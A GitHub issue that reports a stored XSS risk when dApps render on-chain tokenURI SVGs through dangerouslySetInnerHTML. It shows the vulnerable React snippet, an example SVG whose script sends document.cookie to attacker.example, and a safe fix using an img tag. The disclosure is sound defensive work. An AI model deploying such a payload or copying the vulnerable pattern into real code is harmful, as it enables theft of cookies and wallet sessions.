Skip to content

bug: on-chain SVG tokenURI pattern is exploitable for stored XSS in dApp frontends — sandboxed rendering guidance needed #85

@osr21

Description

@osr21

Summary

Arc Network's ecosystem promotes returning base64-encoded inline SVG directly from ERC-721 tokenURI() (e.g. for NFT payment receipts). While elegant for on-chain storage, the SVG content is attacker-controlled — any address that triggers an NFT mint can embed <script> tags or event handlers inside the SVG.

If a dApp renders this SVG by injecting it into the DOM — a very common mistake — the result is stored XSS: the malicious SVG executes in the dApp's origin, gaining access to wallet state, localStorage, cookies, and auth tokens.


Reproduced while building ArcPay's NFT receipt gallery

Our initial implementation used React's dangerouslySetInnerHTML to render the tokenURI SVG inline:

// VULNERABLE — executes any <script> or onerror handler inside the SVG
<div dangerouslySetInnerHTML={{ __html: atob(nft.image.split(",")[1]) }} />

An attacker who funds any invoice can encode the following SVG into the on-chain tokenURI:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>fetch("https://attacker.example/steal?c="+document.cookie)</script>
  <rect width="100%" height="100%" fill="white"/>
</svg>

This SVG is stored immutably on-chain via tokenURI() and executes for every user who visits the NFT gallery page.


Root cause

The browser sandboxes SVG loaded via <img src="data:image/svg+xml;base64,..."> — scripts inside cannot access the parent document. But SVG injected via innerHTML / dangerouslySetInnerHTML is fully trusted and can execute scripts.


Safe rendering (fixed in ArcPay)

// SAFE — browser sandboxes SVG loaded as an image source
<img src={nft.image} alt={nft.name} />

Suggested Arc Network action

  1. Add a security note to NFT / tokenURI documentation warning explicitly against innerHTML / dangerouslySetInnerHTML for on-chain SVG
  2. Provide a canonical safe rendering snippet for React, Next.js, and vanilla JS
  3. Consider an <iframe sandbox> alternative for cases where interactive SVG is needed

Severity: HIGH — stored XSS, on-chain and permanent, affects all visitors to any dApp rendering these NFTs
Environment: Arc Testnet, React 19, ERC-721 contract with base64 inline-SVG tokenURI()

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions